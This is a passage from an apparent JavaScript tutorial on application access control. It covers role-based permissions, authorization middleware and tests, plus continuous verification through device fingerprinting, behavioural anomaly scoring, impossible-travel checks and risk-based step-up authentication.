      <span class="hljs-keyword">const</span> parent = <span class="hljs-built_in">this</span>.roles.get(parentRole);
      role.permissions = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>(parent.permissions);
      <span class="hljs-built_in">this</span>.roleHierarchy.set(name, parentRole);
    }

    <span class="hljs-built_in">this</span>.roles.set(name, role);
    <span class="hljs-keyword">return</span> role;
  }

  <span class="hljs-comment">// Add permission to role</span>
  addPermissionToRole(roleName, permissionName) {
    <span class="hljs-keyword">const</span> role = <span class="hljs-built_in">this</span>.roles.get(roleName);
    <span class="hljs-keyword">if</span> (!role) <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Role not found'</span>);

    <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">this</span>.permissions.has(permissionName)) {
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">'Permission not found'</span>);
    }

    role.permissions.add(permissionName);
  }
}
</code></pre>
<p>The code above lets you specify fine-grained permissions like <code>documents.read.own</code> and organizes them into roles such as <code>employee</code> or <code>manager</code> that you can independently reuse. You can define roles to inherit from other roles, which avoids redundancy and promotes a consistent, scalable access control logic.</p>
<p>As a general rule to avoid privilege creep, permissions should always be as fine-grained as possible. This lets the application refine access decisions to specific actions or scopes: for example, allowing users to read only their documents versus reading all documents for their team.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Fine-grained permission definitions</span>
<span class="hljs-keyword">const</span> permissions = {
  <span class="hljs-comment">// User management</span>
  <span class="hljs-string">'users.read'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'users'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'read'</span> },
  <span class="hljs-string">'users.create'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'users'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'create'</span> },
  <span class="hljs-string">'users.update'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'users'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'update'</span> },
  <span class="hljs-string">'users.delete'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'users'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'delete'</span> },

  <span class="hljs-comment">// Document management</span>
  <span class="hljs-string">'documents.read.own'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'documents'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'read'</span>, <span class="hljs-attr">scope</span>: <span class="hljs-string">'own'</span> },
  <span class="hljs-string">'documents.read.team'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'documents'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'read'</span>, <span class="hljs-attr">scope</span>: <span class="hljs-string">'team'</span> },
  <span class="hljs-string">'documents.read.all'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'documents'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'read'</span>, <span class="hljs-attr">scope</span>: <span class="hljs-string">'all'</span> },
  <span class="hljs-string">'documents.create'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'documents'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'create'</span> },
  <span class="hljs-string">'documents.update.own'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'documents'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'update'</span>, <span class="hljs-attr">scope</span>: <span class="hljs-string">'own'</span> },
  <span class="hljs-string">'documents.delete.own'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'documents'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'delete'</span>, <span class="hljs-attr">scope</span>: <span class="hljs-string">'own'</span> },

  <span class="hljs-comment">// System administration</span>
  <span class="hljs-string">'system.logs.read'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'system'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'read'</span>, <span class="hljs-attr">subresource</span>: <span class="hljs-string">'logs'</span> },
  <span class="hljs-string">'system.config.update'</span>: { <span class="hljs-attr">resource</span>: <span class="hljs-string">'system'</span>, <span class="hljs-attr">action</span>: <span class="hljs-string">'update'</span>, <span class="hljs-attr">subresource</span>: <span class="hljs-string">'config'</span> }
};
</code></pre>
<p>With an array of permissions at its disposal, the app can undertake very precise access control decisions. Instead of merely addressing the binary "is admin" question, this capability enables the system to answer questions such as "can this user delete their own document but not others?"</p>
<p>Static roles are often insufficient. You may want to give people temporary or conditional access, for example, when the team lead takes over for a manager or when a user approves a higher access level for the sake of incident response.</p>
<p>To support these cases, the RBAC system must allow dynamic role assignment – that is, the ability to assign roles on the basis of time, context, or an external trigger such as a security workflow.</p>
<p>The code below assigns a temporary role to a user, notes the exact time at which the role was assigned to the user, and periodically revokes the right after some fixed amount of time. Also, it has a method to calculate a user's complete set of active rights, depending on their permanent rights, temporary rights, and role-based contextual rights.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Dynamic role assignment system</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DynamicRoleAssignment</span> </span>{
  <span class="hljs-keyword">async</span> assignTemporaryRole(userId, roleName, duration, reason) {
    <span class="hljs-keyword">const</span> assignment = {
      userId,
      roleName,
      <span class="hljs-attr">assignedAt</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(),
      <span class="hljs-attr">expiresAt</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(<span class="hljs-built_in">Date</span>.now() + duration * <span class="hljs-number">1000</span>),
      reason,
      <span class="hljs-attr">active</span>: <span class="hljs-literal">true</span>
    };

    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.storeRoleAssignment(assignment);
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.logRoleAssignment(assignment);

    <span class="hljs-comment">// Schedule automatic revocation</span>
    <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
      <span class="hljs-built_in">this</span>.revokeExpiredAssignment(assignment.id);
    }, duration * <span class="hljs-number">1000</span>);

    <span class="hljs-keyword">return</span> assignment;
  }

  <span class="hljs-keyword">async</span> getUserEffectivePermissions(userId, context = {}) {
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> getUserById(userId);
    <span class="hljs-keyword">const</span> permanentRoles = user.roles || [];
    <span class="hljs-keyword">const</span> temporaryRoles = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getActiveTemporaryRoles(userId);
    <span class="hljs-keyword">const</span> contextualRoles = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getContextualRoles(userId, context);

    <span class="hljs-keyword">const</span> allRoles = [...permanentRoles, ...temporaryRoles, ...contextualRoles];
    <span class="hljs-keyword">const</span> permissions = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>();

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> roleName <span class="hljs-keyword">of</span> allRoles) {
      <span class="hljs-keyword">const</span> rolePermissions = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getRolePermissions(roleName);
      rolePermissions.forEach(<span class="hljs-function"><span class="hljs-params">permission</span> =&gt;</span> permissions.add(permission));
    }

    <span class="hljs-keyword">return</span> <span class="hljs-built_in">Array</span>.from(permissions);
  }
}
</code></pre>
<p>This allows for more flexible security configurations. Temporary roles that are granted have an automatic expiration. The context roles may be added dynamically depending on contextual factors such as location or type of device. Permanent roles are combined with temporary and context roles to compute the aggregate permission set for the user on a per-request basis, which maintains flexibility without compromising control.</p>
<h3 id="heading-using-middleware-to-enforce-rbac">Using Middleware to Enforce RBAC</h3>
<p>The RBAC policies have to be enforced before any request reaches a protected route or protected data. <a target="_blank" href="https://aws.amazon.com/what-is/middleware/">Middleware</a> is a good place to run such checks in the scope of a web application. We’ll now look into how the reusable middleware function for authorization works.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Authorization middleware</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">createAuthorizationMiddleware</span>(<span class="hljs-params">requiredPermission</span>) </span>{
  <span class="hljs-keyword">return</span> <span class="hljs-keyword">async</span> (req, res, next) =&gt; {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-comment">// Extract user from validated JWT</span>
      <span class="hljs-keyword">const</span> user = req.user;
      <span class="hljs-keyword">if</span> (!user) {
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">401</span>).json({ <span class="hljs-attr">error</span>: <span class="hljs-string">'Authentication required'</span> });
      }

      <span class="hljs-comment">// Get user's effective permissions</span>
      <span class="hljs-keyword">const</span> context = {
        <span class="hljs-attr">ipAddress</span>: req.ip,
        <span class="hljs-attr">userAgent</span>: req.get(<span class="hljs-string">'User-Agent'</span>),
        <span class="hljs-attr">resourceId</span>: req.params.id,
        <span class="hljs-attr">timestamp</span>: <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>()
      };

      <span class="hljs-keyword">const</span> permissions = <span class="hljs-keyword">await</span> roleSystem.getUserEffectivePermissions(
        user.id,
        context
      );

      <span class="hljs-comment">// Check if user has required permission</span>
      <span class="hljs-keyword">if</span> (!permissions.includes(requiredPermission)) {
        <span class="hljs-keyword">await</span> logUnauthorizedAccess(user.id, requiredPermission, context);
        <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">403</span>).json({ <span class="hljs-attr">error</span>: <span class="hljs-string">'Insufficient permissions'</span> });
      }

      <span class="hljs-comment">// Add permissions to request for downstream use</span>
      req.userPermissions = permissions;
      next();
    } <span class="hljs-keyword">catch</span> (error) {
      res.status(<span class="hljs-number">500</span>).json({ <span class="hljs-attr">error</span>: <span class="hljs-string">'Authorization check failed'</span> });
    }
  };
}

<span class="hljs-comment">// Usage in routes</span>
app.get(<span class="hljs-string">'/api/users'</span>, 
  authenticateToken,
  createAuthorizationMiddleware(<span class="hljs-string">'users.read'</span>),
  getUsersController
);
</code></pre>
<p>In the code above, the middleware will validate user identities in real-time, check if adequate permissions are granted, and allow or deny access accordingly. It’s a central mechanism for enforcing access rules in a uniform way across your routes, and it even records unauthorized attempts for auditing.</p>
<h3 id="heading-testing-access-control-logic">Testing Access Control Logic</h3>
<p>Once you’ve implemented the RBAC system, testing becomes a must. You want to guarantee that permissions are inherited properly, that access is actually denied when a user isn’t authorized, and that your roles behave as designed in the real world as well as in edge-case scenarios.</p>
<p>The following example uses a testing framework to demonstrate the verification of two fundamental behaviors: inheritance of permissions from parent roles and rejection of unauthorized access.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// RBAC testing suite</span>
describe(<span class="hljs-string">'RBAC System'</span>, <span class="hljs-function">() =&gt;</span> {
  test(<span class="hljs-string">'should inherit permissions from parent roles'</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">const</span> manager = <span class="hljs-keyword">await</span> roleSystem.createRole(<span class="hljs-string">'manager'</span>, <span class="hljs-string">'Team Manager'</span>, <span class="hljs-string">'employee'</span>);
    <span class="hljs-keyword">await</span> roleSystem.addPermissionToRole(<span class="hljs-string">'manager'</span>, <span class="hljs-string">'team.manage'</span>);

    <span class="hljs-keyword">const</span> permissions = <span class="hljs-keyword">await</span> roleSystem.getRolePermissions(<span class="hljs-string">'manager'</span>);
    expect(permissions).toContain(<span class="hljs-string">'documents.read.own'</span>); <span class="hljs-comment">// From employee</span>
    expect(permissions).toContain(<span class="hljs-string">'team.manage'</span>); <span class="hljs-comment">// Manager-specific</span>
  });

  test(<span class="hljs-string">'should deny access without proper permissions'</span>, <span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">const</span> user = { <span class="hljs-attr">id</span>: <span class="hljs-number">1</span>, <span class="hljs-attr">roles</span>: [<span class="hljs-string">'employee'</span>] };
    <span class="hljs-keyword">const</span> req = { user, <span class="hljs-attr">params</span>: { <span class="hljs-attr">id</span>: <span class="hljs-string">'doc123'</span> } };
    <span class="hljs-keyword">const</span> res = { <span class="hljs-attr">status</span>: jest.fn().mockReturnThis(), <span class="hljs-attr">json</span>: jest.fn() };

    <span class="hljs-keyword">const</span> middleware = createAuthorizationMiddleware(<span class="hljs-string">'documents.delete.all'</span>);
    <span class="hljs-keyword">await</span> middleware(req, res, <span class="hljs-function">() =&gt;</span> {}); <span class="hljs-comment">// Middleware call simulating request</span>

    expect(res.status).toHaveBeenCalledWith(<span class="hljs-number">403</span>);
  });
});
</code></pre>
<p>The tests represent the positive and negative validations of the access rules. The first test determines whether inherited permissions flow freely from the parent to child roles. The second test blocks any user without the required permission, returning a status code appropriately.</p>
<p>Over time, you can enrich test coverage to include temporary role assignments, contextual conditions, and session-aware behavior to alert you to any regressions before they start affecting production access.</p>
<h2 id="heading-continuous-verification">Continuous Verification</h2>
<p>Modern access security is not a one-shot check but an ongoing process. A strong system must continuously verify user identity and context throughout the ongoing session while adapting to newly emerging risk signals.</p>
<p>In <a target="_blank" href="https://spot.io/resources/gitops/continuous-verification/">continuous verification</a>, it’s an assurance that access stays appropriate while the user behavior, device posture, or environment changes mid-session.</p>
<p>To uniquely identify a device, you can combine subtle traits like browser settings, hardware specs, and plugin data. This forms a device “fingerprint,” which helps flag new or suspicious devices attempting access.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Advanced device fingerprinting</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">DeviceFingerprintService</span> </span>{
  generateFingerprint(deviceInfo) {
    <span class="hljs-keyword">const</span> components = [
      deviceInfo.userAgent,
      deviceInfo.screenResolution,
      deviceInfo.timezone,
      deviceInfo.language,
      deviceInfo.platform,
      deviceInfo.hardwareConcurrency,
      deviceInfo.memorySize,
      deviceInfo.availableFonts?.join(<span class="hljs-string">','</span>),
      deviceInfo.plugins?.map(<span class="hljs-function"><span class="hljs-params">p</span> =&gt;</span> p.name).join(<span class="hljs-string">','</span>),
      deviceInfo.webglRenderer,
      deviceInfo.audioContext
    ];

    <span class="hljs-keyword">return</span> <span class="hljs-built_in">this</span>.hashComponents(components);
  }

  calculateTrustScore(currentFingerprint, knownFingerprints) {
    <span class="hljs-keyword">if</span> (knownFingerprints.length === <span class="hljs-number">0</span>) <span class="hljs-keyword">return</span> <span class="hljs-number">50</span>; <span class="hljs-comment">// Neutral for new device</span>
    <span class="hljs-keyword">const</span> similarities = knownFingerprints.map(<span class="hljs-function"><span class="hljs-params">known</span> =&gt;</span>
      <span class="hljs-built_in">this</span>.calculateSimilarity(currentFingerprint, known)
    );
    <span class="hljs-keyword">return</span> <span class="hljs-built_in">Math</span>.min(<span class="hljs-number">100</span>, <span class="hljs-built_in">Math</span>.max(...similarities) * <span class="hljs-number">100</span>);
  }

  <span class="hljs-keyword">async</span> updateDeviceTrust(userId, deviceFingerprint, securityEvents) {
    <span class="hljs-keyword">const</span> device = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getOrCreateDevice(userId, deviceFingerprint);
    <span class="hljs-keyword">let</span> trustAdjustment = <span class="hljs-number">0</span>;

    securityEvents.forEach(<span class="hljs-function"><span class="hljs-params">event</span> =&gt;</span> {
      <span class="hljs-keyword">switch</span> (event.type) {
        <span class="hljs-keyword">case</span> <span class="hljs-string">'successful_login'</span>: trustAdjustment += <span class="hljs-number">5</span>; <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">case</span> <span class="hljs-string">'failed_login'</span>: trustAdjustment -= <span class="hljs-number">10</span>; <span class="hljs-keyword">break</span>;
        <span class="hljs-keyword">case</span> <span class="hljs-string">'suspicious_activity'</span>: trustAdjustment -= <span class="hljs-number">25</span>; <span class="hljs-keyword">break</span>;
      }
    });

    device.trustScore = <span class="hljs-built_in">Math</span>.max(<span class="hljs-number">0</span>, <span class="hljs-built_in">Math</span>.min(<span class="hljs-number">100</span>, device.trustScore + trustAdjustment));
    <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.updateDevice(device);
    <span class="hljs-keyword">return</span> device.trustScore;
  }
}
</code></pre>
<p>Generating a fingerprint hash from device traits, this service uses historical events to dynamically adjust the device's trust score. Step-up authentication may be prompted by low scores, or access may be denied altogether.</p>
<h3 id="heading-behavioral-analysis">Behavioral Analysis</h3>
<p>People tend to use apps rather consistently – they type a certain way, move the mouse in a particular manner, or browse varied content. <a target="_blank" href="https://zimperium.com/glossary/behavioral-analysis">Behavioral analysis</a> tries to detect that anomaly by comparing ongoing activities to known ones.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Behavioral analysis system</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">BehaviorAnalysisService</span> </span>{
  <span class="hljs-keyword">async</span> analyzeUserBehavior(userId, currentSession) {
    <span class="hljs-keyword">const</span> historicalBehavior = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getUserBehaviorProfile(userId);
    <span class="hljs-keyword">const</span> anomalies = [];

    <span class="hljs-keyword">const</span> typingAnomaly = <span class="hljs-built_in">this</span>.analyzeTypingPatterns(
      currentSession.typingData,
      historicalBehavior.typingProfile
    );
    <span class="hljs-keyword">if</span> (typingAnomaly.score &gt; <span class="hljs-number">0.7</span>) {
      anomalies.push({ <span class="hljs-attr">type</span>: <span class="hljs-string">'typing_pattern'</span>, <span class="hljs-attr">score</span>: typingAnomaly.score, <span class="hljs-attr">details</span>: typingAnomaly.details });
    }

    <span class="hljs-keyword">const</span> navigationAnomaly = <span class="hljs-built_in">this</span>.analyzeNavigationPatterns(
      currentSession.navigationData,
      historicalBehavior.navigationProfile
    );
    <span class="hljs-keyword">if</span> (navigationAnomaly.score &gt; <span class="hljs-number">0.6</span>) {
      anomalies.push({ <span class="hljs-attr">type</span>: <span class="hljs-string">'navigation_pattern'</span>, <span class="hljs-attr">score</span>: navigationAnomaly.score, <span class="hljs-attr">details</span>: navigationAnomaly.details });
    }

    <span class="hljs-keyword">const</span> timeAnomaly = <span class="hljs-built_in">this</span>.analyzeTimePatterns(
      currentSession.timestamp,
      historicalBehavior.timeProfile
    );
    <span class="hljs-keyword">if</span> (timeAnomaly.score &gt; <span class="hljs-number">0.5</span>) {
      anomalies.push({ <span class="hljs-attr">type</span>: <span class="hljs-string">'time_pattern'</span>, <span class="hljs-attr">score</span>: timeAnomaly.score, <span class="hljs-attr">details</span>: timeAnomaly.details });
    }

    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">overallRiskScore</span>: <span class="hljs-built_in">this</span>.calculateOverallRisk(anomalies),
      anomalies,
      <span class="hljs-attr">recommendations</span>: <span class="hljs-built_in">this</span>.generateRecommendations(anomalies)
    };
  }

  analyzeTypingPatterns(currentData, historicalProfile) {
    <span class="hljs-keyword">if</span> (!currentData || !historicalProfile) <span class="hljs-keyword">return</span> { <span class="hljs-attr">score</span>: <span class="hljs-number">0</span> };
    <span class="hljs-keyword">const</span> dwellTimeVariance = <span class="hljs-built_in">this</span>.calculateVariance(currentData.dwellTimes, historicalProfile.averageDwellTime);
    <span class="hljs-keyword">const</span> flightTimeVariance = <span class="hljs-built_in">this</span>.calculateVariance(currentData.flightTimes, historicalProfile.averageFlightTime);
    <span class="hljs-keyword">const</span> score = <span class="hljs-built_in">Math</span>.max(dwellTimeVariance, flightTimeVariance);
    <span class="hljs-keyword">return</span> { score, <span class="hljs-attr">details</span>: { dwellTimeVariance, flightTimeVariance, <span class="hljs-attr">sampleSize</span>: currentData.keystrokes.length } };
  }
}
</code></pre>
<p>This will detect suspicious changes in user behavior and typing characteristics as early warning indicators of session hijacking or insider threat.</p>
<p>Access from a new country or city can either be harmless or highly suspicious. Comparing login geography against historical patterns helps flag impossible travel or access from banned regions.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Location-based access control</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">LocationAccessControl</span> </span>{
  <span class="hljs-keyword">async</span> validateLocationAccess(userId, ipAddress, session) {
    <span class="hljs-keyword">const</span> location = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.resolveLocation(ipAddress);
    <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> getUserById(userId);
    <span class="hljs-keyword">const</span> historicalLocations = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getUserLocations(userId);
    <span class="hljs-keyword">const</span> locationRisk = <span class="hljs-built_in">this</span>.assessLocationRisk(location, historicalLocations);

    <span class="hljs-keyword">const</span> lastLocation = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getLastKnownLocation(userId);
    <span class="hljs-keyword">if</span> (lastLocation) {
      <span class="hljs-keyword">const</span> impossibleTravel = <span class="hljs-built_in">this</span>.checkImpossibleTravel(lastLocation, location, session.lastActivity);
      <span class="hljs-keyword">if</span> (impossibleTravel.detected) {
        <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.logSecurityEvent(<span class="hljs-string">'impossible_travel'</span>, {
          userId, <span class="hljs-attr">fromLocation</span>: lastLocation, <span class="hljs-attr">toLocation</span>: location,
          <span class="hljs-attr">timeWindow</span>: impossibleTravel.timeWindow,
          <span class="hljs-attr">minimumTravelTime</span>: impossibleTravel.minimumTravelTime
        });
        <span class="hljs-keyword">return</span> { <span class="hljs-attr">allowed</span>: <span class="hljs-literal">false</span>, <span class="hljs-attr">reason</span>: <span class="hljs-string">'impossible_travel'</span>, <span class="hljs-attr">requiresStepUp</span>: <span class="hljs-literal">true</span> };
      }
    }

    <span class="hljs-keyword">if</span> (user.allowedCountries &amp;&amp; !user.allowedCountries.includes(location.country)) {
      <span class="hljs-keyword">return</span> { <span class="hljs-attr">allowed</span>: <span class="hljs-literal">false</span>, <span class="hljs-attr">reason</span>: <span class="hljs-string">'country_restriction'</span>, <span class="hljs-attr">requiresStepUp</span>: <span class="hljs-literal">true</span> };
    }

    <span class="hljs-keyword">const</span> highRiskCountries = [<span class="hljs-string">'XX'</span>, <span class="hljs-string">'YY'</span>, <span class="hljs-string">'ZZ'</span>];
    <span class="hljs-keyword">if</span> (highRiskCountries.includes(location.country)) {
      <span class="hljs-keyword">return</span> { <span class="hljs-attr">allowed</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">reason</span>: <span class="hljs-string">'high_risk_location'</span>, <span class="hljs-attr">requiresStepUp</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">additionalVerification</span>: [<span class="hljs-string">'sms'</span>, <span class="hljs-string">'email'</span>] };
    }

    <span class="hljs-keyword">return</span> { <span class="hljs-attr">allowed</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">riskScore</span>: locationRisk, location };
  }

  checkImpossibleTravel(fromLocation, toLocation, lastActivity) {
    <span class="hljs-keyword">const</span> distance = <span class="hljs-built_in">this</span>.calculateDistance(fromLocation, toLocation);
    <span class="hljs-keyword">const</span> timeElapsed = <span class="hljs-built_in">Date</span>.now() - lastActivity;
    <span class="hljs-keyword">const</span> maximumSpeed = <span class="hljs-number">900</span>; <span class="hljs-comment">// km/h</span>
    <span class="hljs-keyword">const</span> minimumTravelTime = (distance / maximumSpeed) * <span class="hljs-number">3600000</span>;
    <span class="hljs-keyword">return</span> { <span class="hljs-attr">detected</span>: timeElapsed &lt; minimumTravelTime, <span class="hljs-attr">timeWindow</span>: timeElapsed, minimumTravelTime, distance };
  }
}
</code></pre>
<p>This logic prevents abuse via VPNs or stolen credentials by requiring step-up verification when impossible travel or unusual locations are detected.</p>
<h3 id="heading-step-up-authentication">Step-Up Authentication</h3>
<p><a target="_blank" href="https://doubleoctopus.com/security-wiki/authentication/step-up-authentication/">Step-up security</a> introduces friction only when truly needed. With lower risk considered, users move freely. When risk levels rises, they're asked for stronger proofs, such as biometrics or hardware tokens.</p>
<pre><code class="lang-javascript"><span class="hljs-comment">// Step-up authentication system</span>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">StepUpAuthenticationService</span> </span>{
  <span class="hljs-keyword">async</span> evaluateStepUpRequirement(userId, requestContext, resourceSensitivity) {
    <span class="hljs-keyword">const</span> riskFactors = <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.calculateRiskFactors(userId, requestContext);
    <span class="hljs-keyword">const</span> stepUpRequired = <span class="hljs-built_in">this</span>.shouldRequireStepUp(riskFactors, resourceSensitivity);

    <span class="hljs-keyword">if</span> (stepUpRequired.required) {
      <span class="hljs-keyword">return</span> {
        <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-attr">methods</span>: <span class="hljs-built_in">this</span>.selectAuthenticationMethods(riskFactors, stepUpRequired.level),
        <span class="hljs-attr">expiresIn</span>: <span class="hljs-built_in">this</span>.calculateStepUpDuration(stepUpRequired.level),
        <span class="hljs-attr">reason</span>: stepUpRequired.reason
      };
    }

    <span class="hljs-keyword">return</span> { <span class="hljs-attr">required</span>: <span class="hljs-literal">false</span> };
  }

  <span class="hljs-keyword">async</span> calculateRiskFactors(userId, context) {
    <span class="hljs-keyword">return</span> {
      <span class="hljs-attr">deviceTrust</span>: <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getDeviceTrustScore(userId, context.deviceFingerprint),
      <span class="hljs-attr">locationRisk</span>: <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getLocationRiskScore(userId, context.ipAddress),
      <span class="hljs-attr">behaviorAnomaly</span>: <span class="hljs-keyword">await</span> <span class="hljs-built_in">this</span>.getBehaviorAnomalyScore(userId, context.sessionData),
      <span class="hljs-attr">timeSinceLastAuth</span>: <span class="hljs-built_in">Date</span>.now() - context.lastAuthTime,
      <span class="hljs-attr">resourceSensitivity</span>: context.resourceSensitivity || <span class="hljs-string">'medium'</span>
    };
  }

  shouldRequireStepUp(riskFactors, sensitivity) {
    <span class="hljs-keyword">let</span> score = <span class="hljs-number">0</span>;
    <span class="hljs-keyword">if</span> (riskFactors.deviceTrust &lt; <span class="hljs-number">70</span>) score += <span class="hljs-number">30</span>;
    <span class="hljs-keyword">if</span> (riskFactors.deviceTrust &lt; <span class="hljs-number">40</span>) score += <span class="hljs-number">20</span>;
    <span class="hljs-keyword">if</span> (riskFactors.locationRisk &gt; <span class="hljs-number">0.6</span>) score += <span class="hljs-number">25</span>;
    <span class="hljs-keyword">if</span> (riskFactors.locationRisk &gt; <span class="hljs-number">0.8</span>) score += <span class="hljs-number">15</span>;
    <span class="hljs-keyword">if</span> (riskFactors.behaviorAnomaly &gt; <span class="hljs-number">0.5</span>) score += <span class="hljs-number">20</span>;
    <span class="hljs-keyword">if</span> (riskFactors.behaviorAnomaly &gt; <span class="hljs-number">0.7</span>) score += <span class="hljs-number">10</span>;
    <span class="hljs-keyword">const</span> hours = riskFactors.timeSinceLastAuth / (<span class="hljs-number">1000</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span>);
    <span class="hljs-keyword">if</span> (hours &gt; <span class="hljs-number">8</span>) score += <span class="hljs-number">10</span>;
    <span class="hljs-keyword">if</span> (hours &gt; <span class="hljs-number">24</span>) score += <span class="hljs-number">15</span>;

    score *= { <span class="hljs-attr">low</span>: <span class="hljs-number">0.7</span>, <span class="hljs-attr">medium</span>: <span class="hljs-number">1.0</span>, <span class="hljs-attr">high</span>: <span class="hljs-number">1.3</span>, <span class="hljs-attr">critical</span>: <span class="hljs-number">1.6</span> }[sensitivity] || <span class="hljs-number">1.0</span>;

    <span class="hljs-keyword">if</span> (score &gt;= <span class="hljs-number">80</span>) <span class="hljs-keyword">return</span> { <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">level</span>: <span class="hljs-string">'high'</span>, <span class="hljs-attr">reason</span>: <span class="hljs-string">'high_risk_detected'</span> };
    <span class="hljs-keyword">if</span> (score &gt;= <span class="hljs-number">50</span>) <span class="hljs-keyword">return</span> { <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">level</span>: <span class="hljs-string">'medium'</span>, <span class="hljs-attr">reason</span>: <span class="hljs-string">'moderate_risk_detected'</span> };
    <span class="hljs-keyword">if</span> (score &gt;= <span class="hljs-number">25</span>) <span class="hljs-keyword">return</span> { <span class="hljs-attr">required</span>: <span class="hljs-literal">true</span>, <span class="hljs-attr">level</span>: <span class="hljs-string">'low'</span>, <span class="hljs-attr">reason</span>: <span class="hljs-string">'low_risk_detected'</span> };
    <span class="hljs-keyword">return</span> { <span class="hljs-attr">required</span>: <span class="hljs-literal">false</span> };
  }

  selectAuthenticationMethods(riskFactors, level) {
    <span class="hljs-keyword">const</span> methods = [];
    <span class="hljs-keyword">if</span> (level === <span class="hljs-string">'high'</span>) {
      methods.push(<span class="hljs-string">'hardware_token'</span>, <span class="hljs-string">'biometric'</span>);
      <span class="hljs-keyword">if</span> (riskFactors.deviceTrust &lt; <span class="hljs-number">30</span>) methods.push(<span class="hljs-string">'admin_approval'</span>);
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (level === <span class="hljs-string">'medium'</span>) {
      methods.push(<span class="hljs-string">'totp'</span>, <span class="hljs-string">'sms'</span>);
      <span class="hljs-keyword">if</span> (riskFactors.locationRisk &gt; <span class="hljs-number">0.7</span>) methods.push(<span class="hljs-string">'email_verification'</span>);
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (level === <span class="hljs-string">'low'</span>) {
      methods.push(<span class="hljs-string">'totp'</span>);
    }
    <span class="hljs-keyword">return</span> methods;
  }
}
</code></pre>
<p>The service uses this balancing technique between critical resources and risks while keeping normal workflows intact when things look safe.</p>
<h2 id="heading-security-monitoring">Security Monitoring</h2>
